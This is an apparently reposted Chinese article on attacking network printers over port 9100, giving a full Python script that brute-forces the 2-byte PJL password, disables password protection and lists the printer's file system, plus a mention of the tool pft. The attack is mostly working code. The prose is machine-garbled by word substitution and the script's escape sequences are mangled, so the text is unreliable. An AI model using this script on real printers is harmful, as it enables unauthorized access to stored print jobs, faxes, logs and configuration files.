若打印机的9100端口向公网开启,在向打印机发送PJL指令之前必要对行使者的身份举办认证,认证措施的密钥长度为2字节(Byte),通过爆破可以将 PJL 的暗码安详掩护禁用,最终执行恣意PJL呼吁。假如直接通过9100端口执行PJL呼吁,声名存在未授权会见。
PJL是打印节制说话PCL的扩展。文章前面部门已经先容过,这里是针对认证PJL的爆破,不然无法行使PJL呼吁。危害:通过 PJL 除了可以或许查察和变动打印机状态之外,还可以对打印机内置的文件体系举办会见,进而可绕过暗码验证通过 PJL 对打印机内置的文件体系举办读写。文件体系包括靠山处理赏罚打印功课、收到的传真、日记文件和设置文件。
9100端口一样平常为JetDirect的端口,JetDirect固然是惠普计划的,可是浩瀚打印机都行使该软件,包罗Canon、Lexmark、Samsung和Xerox。该软件认真处理赏罚通过收集提交的打印哀求。收集打印机通过JetDirect协议,侦听,吸取打印哀求数据。
如下是PJL暗码存储名目:
- @PJL JOB PASSWORD=0
- @PJL DEFAULT PASSWORD=12345
- @PJL DEFAULT DISKLOCK=ON
- @PJL DEFAULT CPLOCK=ON
可通过 内存和文件体系读取获取暗码,或暴力破解。
爆破代码python3如下:
- import socket
- import sys
-
- def main():
- if len(sys.argv)<=1:
- print('Parameters error')
- return
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.settimeout(10)
- s.connect((sys.argv[1],9100))
- s.settimeout(None)
- # 发送读取装备ID的PJL指令
- s.send(('33%-12345X@PJL INFO IDrn33%-12345Xrn').encode('UTF-8'))
- print(s.recv(1024).decode('UTF-8'))
-
- for i in range(1, 65536):
- buf = b''
- # 发送重置暗码的PJL指令
- s.send(('33%-12345X@PJL rn@PJL JOB PASSWORD=' + str(i) + 'rn@PJL DEFAULT PASSWORD=0 rn@PJL EOJrn33%-12345Xrn').encode('UTF-8'))
- if i%30 == 0:
- # 发送查询暗码掩护状态的PJL指令
- s.send(('33%-12345X@PJL rn@PJL DINQUIRE PASSWORDrn33%-12345Xrn').encode('UTF-8'))
- while True:
- buf += s.recv(1)
- print(buf)
- try:
- buf.index(b'rnx0c')
- try:
- # 暗码掩护被禁用
- buf.index(b'DISABLED')
- print('password disabled ok!')
- # 发送查询目次的PJL指令
- s.send(('33%-12345X@PJL rn@PJL FSDIRLIST NAME = "0:" ENTRY=1 COUNT=99rn33%-12345Xrn').encode('UTF-8'))
- buf = b''
- while True:
- buf += s.recv(1)
- print(buf)
- try:
- buf.index(b'rnx0c')
- try:
- # 查询乐成
- buf.index(b'ENTRY')
- print('PoC OK!')
- return
- except ValueError:
- print('PoC NO!')
- return
- except ValueError:
- continue
- except ValueError:
- print('password disabled faild!')
- finally:
- s.close()
- return
- except ValueError:
- continue
- s.close()
-
- if __name__ == '__main__':
- main()
pft行使此剧本爆破:

返回password disabled ok!,声名乐成禁用PJL暗码掩护。 (编辑:湖南网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|